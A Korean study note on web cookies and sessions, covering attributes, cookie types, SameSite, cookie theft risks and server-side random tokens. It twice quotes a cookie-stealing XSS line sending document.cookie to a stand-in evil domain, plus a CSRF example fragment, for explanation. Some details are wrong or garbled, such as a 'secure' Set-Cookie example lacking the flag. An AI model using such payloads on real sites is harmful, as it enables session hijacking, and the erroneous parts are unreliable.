쿠키와 세션

쿠키와 세션에 대해 학습하고 정리한 글입니다. 학습과정에서 작성되었기 때문에 잘못된 내용이 있을 수 있습니다. 

 

 

 

 

 

1. 쿠키의 개념과 등장 이유

---

HTTP 프로토콜은 비연결성(connectionless)과 무상태(stateless)의 특성을 가지고 있습니다. 즉, 서버가 클라이언트의 요청에 응답을 하는 순간 HTTP 연결은 끊어지며 클라이언트에서 새로운 요청을 해야 다시 HTTP 연결이 맺어지게 되는 것입니다. 상태가 없기 때문에 각각의 요청이 독립적이며, 사용자의 정보가 필요한 경우에도 이를 이용할 수 없습니다. 쿠키와 세션은 이런 비연결성/무상태성의 문제를 보안하기 위해 등장합니다. 

 

 

 

 

 

 

쿠키는 서버에서 요청에 대한 응답으로 클라이언트로 전달해주는 정보로 클라이언트 로컬에 저장되는 키와 값이 들어있는 작은 데이터 파일인데요, 클라이언트는 서버에서 받은 쿠키를 저장하고 HTTP 요청 시 이를 헤더에 실어서 서버로 전달합니다. 쿠키는 클라이언트의 브라우저 메모리 혹은 하드디스크에 저장이 되는데, 즉 클라이언트의 상태 정보를 로컬에 저장했다가 참조할 수 있습니다. 단, 매번 헤더에 실려 서버에 전송되기 때문에 크기가 클 경우 서버에 부담이 갈 수 있습니다.

 

 

        - 유효 시간을 명시할 수 있으며, 기간 내에는 브라우저가 종료되어도 인증이 유지됩니다.

        - 쿠키는 클라이언트의 상태 정보를 로컬에 저장했다가 참조합니다.

        - 웹 브라우저와 쿠키의 크기에 따라 저장할 수 있는 개수가 다릅니다.

           (위 링크를 타고 가시면 자신의 브라우저에서 몇 개 까지 쿠키를 저장할 수 있는지 실험할 수 있습니다)

        - 사용자가 따로 요청하지 않아도 브라우저가 Request Header에 넣어 자동으로 서버에 전송

 

 

 

 

 

2. 쿠키의 속성과 특징

---

먼저 쿠키의 속성에 대해 알아보겠습니다. 쿠키에는 아래와 같은 속성들이 존재하는데요, 다른 추가 속성도 존재하지만 크게 이름, 값, 유효시간, 도메인, 경로 등의 속성이 존재합니다.

 

이름(Name)	- 쿠키를 식별하는데 사용되는 이름
값(Value)	- 쿠키의 이름과 관련된 값
유효시간(Expires)	- 쿠키가 유효한 시간
도메인(Domain)	- 쿠키를 전송할 도메인      - 명시되지 않는다면 (서브 도메인이 포함되지 않은) 현재 문서 위치의         호스트 일부를 기본값으로 가진다.       - 도메인이 명시되면 서브도메인들은 항상 포함된다.      - 도메인을 명시할 경우 도메인, 서브 도메인 내에서만 쿠키에 접근 가능         ex) domain=google.com 일 경우 hello.google.com에서는 접근 불가
경로(Path)	- 쿠키를 전송할 요청 경로. 쿠키의 스코프.      - Cookie 헤더를 전송하기 위해 요청되는 URL 내 존재해야 하는 경로       - 하위 경로와 일치된다.      ex) /docs,   /docs/Web       - 경로를 명시하지 않을 경우 path = / 가 기본이며 모든 페이지에서 접근 가능      - 경로를 명시하면 경로를 포함한 하위 경로 페이지만 쿠키에 접근 가능하다.

**Domain과 Path 경로는 쿠키의 스코프를 정의합니다.

 

 

 

 

 

 

 

쿠키는 다양한 종류가 있는데 대표적으로 많이 사용되는 Session Cookie, Persistent Cookie, Secure Cookie, HttpOnly Cookie, Third-Party Cookie의 개념에 대해 살펴보겠습니다. 각각의 특성은 아래와 같습니다. *구글 애널리틱스에서 어떤 쿠키를 활용하는지도 나와있는데 궁금하시면 읽어볼 것을 추천드립니다. 

 

Session Cookie	만료 시간을 설정하고 메모리에만 저장되며 브라우저 종료시 쿠키를 삭제한다.
Persistent Cookie	장기간 유지되는 쿠키로 파일로 저장되어 브라우저 종료와 관계없이 사용할    수 있다.
Secure Cookie	HTTPS에서만 사용하며, 쿠키 정보가 암호화 되어 전송된다.
Third-Party Cookie	광고 베너 등을 관리할 때 유입 경로를 추적하기 위해 사용한다.

       

 

 

 

 

 

Session Cookie / Persistent Cookie

네트워크의 애플리케이션 탭을 보면 위 정보들에 대해 알 수 있는데요, 우선 세션쿠키와 영속 쿠키의 차이점에 대해 알아보겠습니다. 세션쿠키는 시간을 가지지 않는 쿠키로 expires 또는 max-age를 명시하지 않고 브라우저가 종료되면 삭제되는 쿠키입니다. 반면 영속쿠키는 만료 기간이 정해져있습니다. 

 

* 세션 ID를 담고 있는 쿠키와는 다른 의미입니다. 세션 쿠키는 쿠키의 존속 여부에 따라 결정되는 것입니다.

 

 

 

 

 

Http Only Cookie / Secure Cookie

브라우저에서 쿠키는 기본적으로 HTTP, HTTPS 프로토콜에 관계없이 서버에 전달됩니다. 그런데 HTTP 프로토콜로 요청시 외부의 공격자에게 쿠키 정보를 탈취당할 수 있어 위험한데요, 이때 HTTP Only Cookie를 사용하면 클라이언트에서 자바스크립트를 통한 쿠키 탈취문제를 예방할 수 있습니다. 물론 네트워크를 직접 감청해서 쿠키를 가로챌 수도 있기 때문에 완전히 안전한 것은 아닙니다.미국의 NSA 및 각국의 정보기관들이 Wifi 망 분석, ISP 케이블 감청 등을 통해 쿠키 등 개인정보를 열람한 있습니다.

 

 

이러한 통신상의 정보유출을 막기 위해 HTTPS 프로토콜을 사용해 데이터를 암호화하는 방법이 사용되고 있습니다. HTTPS를 사용하면 쿠키 또한 암호화되어 전송되기 때문에, 제3자는 내용을 알 수 없게 되기 때문입니다. Secure Cookie는 이때 사용할 수 있는데요, HTTPS가 아니면 쿠키를 전송하지 않도록 하는 속성입니다. 즉, 아래와 같이 secure라는 접미사를 사용해 쿠키를 생성하면 브라우저는 HTTPS가 아닌 통신에서는 쿠키를 전송하지 않습니다.

 

# secure
Set-Cookie: 쿠키명=쿠키값; path=/;

 

 

 

HTTP Only Cookie에 대해 조금 더 살펴보면, 쿠키들은 Document.cookie 를 사용해 만들어질 수도 있으며, HttpOnly 플래그가 설정되지 않은 경우 자바스크리븥로 부터 접근될 수 있습니다. 즉 서버 응답으로 획득한 쿠키는 기본적으로 브라우저의 클라이언트에서 읽고 자바스크립트로 수정하는 것이 가능한 것입니다.

 

// HttpOnly를 명시하면 클라이언트에서의 접근을 완전히 차단해 보안을 강화할 수 있습니다.
document.cookie = "jun_cookie=dev";
console.log(document.cookie);

 

 

 

 

 

ThirdParty Cookie

쿠키는 그와 관련된 도메인을 가지는데 이 도메인이 현재 보고 있는 페이지의 도메인과 동일하다면 그 쿠키는 퍼스트파티 쿠키라고 불리며, 만약 도메인이 다르다면 서드파티 쿠키라고 부릅니다. 예를 들어 yahoo.com이라는 사이트에 사용자가 접속을 했는데 사이트 페이지 속에 google.com의 스크립트가 심어져 있는 경우입니다. 이 때 google.com은 해당 사용자가 yahoo.com이라는 사이트를 방문했다는 정보를 담은 쿠키를 발행해 정보를 가져갈 수 있습니다. 이런 서드파티 쿠키들은 웹을 통한 광고와 트래킹에 주로 사용됩니다.

 

 

대부분의 브라우저들은 기본적으로 서드파티 쿠키를 따르지만, EFF가 만든 Privacy Badger과 같이 이를 차단하는데 이용되는 애드온들도 있으며, 어떤 국가들은 쿠키에 관한 법률도 가지고 있습니다. 이에 대해 조금 더 알고싶으신 분들은 해당 링크에 작성된 관련된 글을 참조해보실 것을 추천드립니다. 

 

 

 

 

 

쿠키의 추가적인 속성에 대해서도 몇 가지 더 알아보겠습니다. 

 

 

SameSite

웹 애플리케이션에서 CSRF(교차 사이트 요청 위조) 공격을 방지하기 위해 HTTP 쿠키에서 설정할 수 있는 속성. 이는 브라우저마다 다르며 크롬의 경우 2020년 2월 4일 chrome 80 버전이 배포되면서 SameSite의 default 값이 Lax로 변경되었습니다. 따라서 SameSite를 따로 지정해 주지 않으면 SameSite=Lax로 쿠키가 지정됩니다. **기존에는 NONE

 

 

 

None	동일 사이트와 크로스 사이트 모두에 쿠키 전송이 가능하며 CSRF의 공격에     취약한 등 보안에 취약점을 가지고 있습니다.
Lax	CrossSite 쿠키값 전송을 차단하는 Strict 모드와 동일하지만 몇가지 예외사항이      둬서 CrossSite라도 일부 요청 방식으로는 쿠키를 보낼 수 있습니다.      즉, Strict의 방식에서 예외사항을 추가 한 방식입니다.
Strict	Strict로 설정하면 쿠키는 SameSite에서만 쿠키의 전송을 허용합니다. 가장      제한적인 방식으로 보안에는 안전하지만 쿠키를 사용할 일이 많기 때문에 편의성이      떨어집니다.

 

Same Site Cookies By Default | Invicti

 

 

 

 

쿠키는 그 정책에 따라 전송할 수 있는 정보가 다른데요, SameSite가 

안전한 HTTP 메서드(GET)을 사용하는 사이트간 최상위탐색(top-level navigation)에서만 쿠키를 전송합니다. 이는 사용자가 직접 주소창에 입력하는 top-level navigation에서만 서드파티 쿠키를 허용하는 것으로 예를들어 <iframe> 안에서의 페이지 이동일 경우 전송되지 않습니다. **아래는 쿠키를 전송할 수 있는 범위를 나타낸 것인데요, Normal은 SameSite=None을 나타냅니다.

 

 

 

https://coding-factory.tistory.com/843

[Web] 구글 Chrome SameSite 이슈에 대하여 (크롬 80)

 

 

 

 

 

 

 

 

 

 

 

5. 쿠키의 문제점

---

쿠키는 임의로 변경될 수 있으며, 임의로 변경된다는 것은 정보를 훔쳐갈 수 있다는 것이다. 쿠키에 개인정보가 있다면 웹 브라우저에도 보관이 된다. 이 내용이 네트워크를 타고 가면서. 보관 자체가 문제가 생길 수 있다. 악성 프로그램 때문에. 로컬 피시. 따라서 쿠키에 있는 정보를 훔쳐갈 수 있다. 쿠키를 통해 일정한 패턴을 발견하게 되면 다른 유저의 정보를 볼 수 있게 된다. 

 

클라이언트가 악의적으로 값을 조작할 수 있다.&amp;nbsp;*없는 사용자는 빈 화면이 나오게 된다.&amp;nbsp;

 

 

 

 

 

 

따라서 쿠키에는  사용자별로 인식 가능한 랜덤 토큰을 발급하거나 예측 불가능한 값을 넣어야 한다. 랜덤값. 이를 토큰과 매핑해서 사용자를 매칭시킨다. 서버에서 임의의 값을 만들어서 이를 관리해야 한다. 만료시간을 정해야 한다. 토큰키를 세션아이디로 쓴다. 값에 회원 객체를 쓴다. 이를 서버에 저장하고, . 세션 저장소로 통신한다. 

 

 

쿠키로 로그인Id를 전달해서 로그인을 유지할 수 있지만 여기에는 심각한 보안 문제가 있다. 쿠키 값은 임의로 변경할 수 있다. 클라이언트가 쿠키를 강제로 변경하면 다른 사용자가 된다. 실제 웹브라우저 개발자모드 Application Cookie 변경으로 확인 Cookie: memberId=1 Cookie: memberId=2 (다른 사용자의 이름이 보임)

 

 

또한 쿠키에 보관된 정보는 훔쳐갈 수 있다. 만약 쿠키에 개인정보나, 신용카드 정보가 있다면? 이 정보가 웹 브라우저에도 보관되고, 네트워크 요청마다 계속 클라이언트에서 서버로 전달된다. 쿠키의 정보가 나의 로컬 PC가 털릴 수도 있고, 네트워크 전송 구간에서 털릴 수도 있다. 해커가 쿠키를 한번 훔쳐가면 평생 사용할 수 있다. 해커가 쿠키를 훔쳐가서 그 쿠키로 악의적인 요청을 계속 시도할 수 있다. 

 

 

 

 

 

5.1 지정된 파일 이용 

Persistent Cookie의 경우에는 사용자의 하드디스크에 저장된다. 도서관과 같은 공용 PC 환경에 저장된 하드디스크에 저장된 Cookie 정보는 쉽게 얻어낼 수 있다. 앞서 언급한 IECookieView 등을 통하여 종종 사용자의 ID, 비밀번호를 얻어내는 그런 직접적인 시도가 아니더라도 사용자의 ID, 비밀번호가 암호화된 형태로 저장되어 있을 때 해당 Cookie 값을 그대로 복사해와서 ID, 비밀번호 인증 절차를 거치지 않고 로그인할 수 있다. 이 경우는 자동로그인을 활성화한 거의 모든 사이트의 경우 ID, 비밀번호와 같은 중요 인증 정보를 Persistent Cookie로서 저장하기에 발생하는 문제이다.

쿠키에 대한 정보를 메 헤더에 추가하여 보내기 때문에 상당한 트래픽을 발생시킵니다. 결제정보등을 쿠키에 저장하였을때 쿠키가 유출되면 보안에 대한 문제점도 발생할 수 있습니다.

 

출처: https://marga.tistory.com/291 [margalog]

- XSS(크로스 사이트 스크립트)공격
˙ 자바스크립트를 이용하여 document.cookie 값을 탈취할 수 있음
- 스니핑(Sniffing)공격을 이용
네트워크를 통해 전송되는 쿠키값을 암호화하지 않고 전송하는 경우 네트워크 스니핑 공격을 통해 쿠키값을 탈취할 수 있음

출처: https://coyagi.tistory.com/entry/시큐어코딩-쿠키-및-세션관리 [코코야이야기]

출처: https://tristan91.tistory.com/521 [개발모음집]

 

 

 

 

 

 

그렇다고 사용하지 않는가? 아니다. 익명 유저의 장바구니, 페이지 언어 선택, 오늘 하루동안 보지 않기(팝업)등 보안에 이슈가 없을 것 같은 데이터를 저장할 때는 사용한다. 

 

 

보안

참고: 기밀 혹은 민감한 정보는 전체 메커니즘이 본질적으로 위험하기 때문에 HTTP 쿠키 내에 저장되거나 전송되어서는 안됩니다.

세션 하이재킹과 XSS

쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 합니다. 그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있습니다. 쿠키를 가로채는 일반적인 방법은 소셜 공학 사용 혹은 애플리케이션 내 XSS (en-US) 취약점을 이용하는 것을 포함합니다.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Copy to Clipboard

HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있습니다.

Cross-site 요청 위조 (CSRF)

위키피디아에 CSRF (en-US)에 대한 좋은 예제가 있습니다. 위키피디아의 예와 같은 상황에서, 당신의 은행 서버에 돈을 입금하는 실제 요청 대신에, 실제로는 이미지가 아닌 이미지를 포함시키고 있습니다(예를 들어 필터링되지 않은 채팅이나 포럼 페이지 내에):

&amount=1000000&for=mallory">

Copy to Clipboard

이제, 당신이 당신의 은행 계좌에 로그인하고 당신의 쿠키가 여전히 유효하다면(그리고 별 다른 검증 절차가 존재하지 않는다면), 해당 이미지를 포함하고 있는 HTML을 로드하자마자 돈이 송금될 것입니다. 이런 일들이 벌어지는 것을 방지하기 위한 몇 가지 기술이 있습니다:

• XSS (en-US)와 마찬가지로, 입력 필터링은 중요한 문제입니다.
• 모든 민감한 동작에 필수로 요구되는 확인 절차가 항상 수행되도록 합니다.
• 민감한 동작에 사용되는 쿠키는 짧은 수명만 갖도록 합니다.
• 좀 더 많은 예방 팁은 OWASP CSRF 예방 치트 시트를 참고하시기 바랍니다.

 

 

트래킹과 프라이버시

 

 

 

좀비 쿠키와 Evercookies

쿠키에 대한 좀 더 급진적인 해결책은 삭제 이후에 다시 생성되는 좀비 쿠키 혹은 "Evercookies"이며 의도적으로 영원히 제거하는 것이 어려운 쿠키입니다. 그들은 쿠키가 존재 여부와 관계없이 그들 자신을 다시 만들어내기 위해 웹 스토리지 API, Flash 로컬 공유 객체 그리고 다른 기술들을 사용하고 있습니다.

• Samy Kamkar의 Evercookie
• 좀비 쿠키에 대한 위키피디아

 

 

 

세션 하이재킹과 XSS

쿠키는 대개 웹 애플리케이션에서 사용자와 그들의 인증된 세션을 식별하기 위해 사용되곤 한다.

그래서 쿠키를 가로채는 것은 인증된 사용자의 세션 하이재킹으로 이어질 수 있다.

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

HttpOnly 쿠키 속성은 자바스크립트를 통해 쿠키 값에 접근하는 것을 막아 이런 공격을 누그러뜨리는데 도움을 줄 수 있다.

 

 

 

대안

---

쿠키에 중요한 값을 노출하지 않고, 사용자 별로 예측 불가능한 임의의 토큰(랜덤 값)을 노출하고, 서버에서 토큰과 사용자 id를 매핑해서 인식한다. 그리고 서버에서 토큰을 관리한다. 토큰은 해커가 임의의 값을 넣어도 찾을 수 없도록 예상 불가능 해야 한다. 해커가 토큰을 털어가도 시간이 지나면 사용할 수 없도록 서버에서 해당 토큰의 만료시간을 짧게(예: 30분) 유지한다. 또는 해킹이 의심되는 경우 서버에서 해당 토큰을 강제로 제거하면 된다.